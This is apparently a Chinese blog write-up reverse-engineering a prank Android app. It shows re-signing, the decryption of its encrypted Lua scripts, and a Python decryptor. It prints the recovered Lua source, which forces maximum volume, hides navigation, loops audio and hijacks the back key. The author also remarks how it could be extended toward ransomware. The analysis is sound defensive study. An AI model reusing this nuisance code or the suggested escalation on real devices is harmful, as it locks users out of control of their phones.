0x00 前言
起因是这款手机app曾有一段时间风席卷高校,也看到很多同学的“社死”现场
0x01 apk分析
首先apktool解包,在assets文件夹下
发现了mc.mp3,就是O泡的广告音频,还有一些.lua文件,打开之后发现是加密的,不了解lua,但是很有可能是就是lua写的,这种脚本语言很可能需要被加载
分析java部分,jeb打开一份礼物.apk,为了方便可以修改AndroidManifest.xml中的application
标签,加一个android:debuggable="true"
,这样重新用apktool编译回去就可以动态调试了,
但是这样的apk并不能直接安装,需要对其重打包并进行签名。
1 2 3 4
| keytool -genkey -alias key.keystore -keyalg RSA -validity 30000 -keystore key.keystore
jarsigner -verbose -keystore key.keystore -signedjar 123.apk 123.apk key.keystore
|
签完名正常安装,改一下开发者选项
界面变为如下效果:
找到启动类,跟进到这里
java水平实在有限,逻辑搞不清楚,多次下断点都没命中
但发现有加载lua的代码,
尝试抓包,发现这个程序并没有任何的网络封包传输 (fiddler)
在jeb下,发现了大量的混淆包,还有一些百度API、腾讯API没被调用,甚至还有网上可以搜到Lua源项目的包,使用Androlua的库,可见该app是魔改过的
后来网上查到了Lua的Android项目,是国人开发的一个 lua 写安卓应用的框架
Java部分可能并不是应用的主体部分,重要操作可能会写在Lua中,
上图相关代码实际上并没有被调用,只是打包apk时封装进去的类,关键逻辑位于main.lua中。
lua脚本需要加载,而在加载之前肯定是要先解密的,所以只要找到解密函数就可以了
libluajava.so文件会使用luaL_loadbuffer
或者luaL_loadbufferx
函数对Lua脚本进行加载,通常解密也在这个位置,果不其然IDA定位到这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int __fastcall luaL_loadbufferx(int a1, int array, size_t size, int path, int a5) { int v5; size_t v6; int v7; int v8; _BYTE *v9; int v10; signed int v11; _BYTE *v13; size_t v14;
v5 = a1; v6 = size; v7 = array; v8 = path; v13 = array; v14 = size; if ( *array == 0x1B && *(array + 1) != 0x4C ) { v9 = malloc(size); if ( v6 ) { *v9 = 27; if ( v6 != 1 ) { v10 = 0; v11 = 1; do { v10 += v6; v9[v11] = *(v7 + v11) ^ (v10 + ((((-2139062143LL * v10) >> 32) + v10) >> 7) + ((((-2139062143LL * v10) >> 32) + v10) < 0)); ++v11; } while ( v6 != v11 ); } } v13 = v9; } return j_lua_load(v5, sub_E0B6, &v13, v8, a5); }
|
参数名是改过的,if语句判断是否需要解密,否则直接执行j_lua_load加载文件,
找到了原函数然后了解各个参数的意义进行逆向即可,(其实不算逆向而是正向逻辑再走一遍就行),
或者IDA动调在return上面下个断点,当程序执行到这后dump出内存数据也行
1 2 3 4 5 6 7
| >LUALIB_API int luaL_loadbufferx (lua_State *L, const char *buff, size_t size, const char *name, const char *mode) { LoadS ls; ls.s = buff; ls.size = size; return lua_load(L, getS, &ls, name, mode); }
|
逆向脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from ctypes import * import sys def decrypt(filename): s = open(filename, 'rb').read() outfile = 'out.lua' if s[0] == chr(0x1b) and s[1] != chr(0x4c): rst = chr(0x1b) size = len(s) v10 = 0 for i in range(1, size): v10 += size v = (c_ulonglong(-2139062143 * v10).value >> 32) + v10 v1 = c_uint(v).value >> 7 v2 = c_int(v).value < 0 rst += chr(ord(s[i]) ^ (v10 + v1 + v2) & 0xff) with open(outfile, 'wb') as f: f.write(rst) else: pass def foo(): if len(sys.argv) == 2: filename = sys.argv[1] else: filename = 'main.lua' decrypt(filename) if __name__ == '__main__': foo()
|
(其中ctypes之前用过,又忘了,在这记一下)
然后解密三个lua
还是乱码,于是搜索LuaS,了解到与Python生成pyc字节码一样,Lua程序也有自己的字节码格式luac。Lua程序在加载到内存中后,Lua虚拟机环境会将其编译为Luac字节码
需要用工具反编译
1
| java -jar .\unluac_2021_03_19b.jar .\out.lua > main.lua
|
于是得到源码main.lua
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| require("import") import("android.app.*") import("android.os.*") import("android.widget.*") import("android.view.*") import("android.view.View") import("android.content.Context") import("android.media.MediaPlayer") import("android.media.AudioManager") import("com.androlua.Ticker") activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) m = MediaPlayer() m.reset() m.setDataSource(activity.getLuaDir() .. "/mc.mp3") m.prepare() m.start() m.setLooping(true) ti = Ticker() ti.Period = 10 function ti.onTick() activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) end ti.start() function onKeyDown(A0_0, A1_1) if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) end return true end
|
大体流程如下:
将系统音量调至最大
隐藏系统导航栏,并进入沉浸模式(全屏)
每10tick,重复以上步骤使得无法主动调低音量
循环播放音频文件mc.mp3
,并劫持返回键
(仅当两次返回的时间间隔小于0秒是才会退出软件,否则就会一直播放音乐)
如果锁定你的home键,然后再实现开机自启动,这样的话,这种软件就可以变成流氓勒索软件了
0x02 小结
这样看来似乎程序并没什么危害,只是个恶搞软件
不要随便安装来历不明的软件,apk安装包实在是太容易被改包了。
reference: https://cloud.tencent.com/developer/article/1718949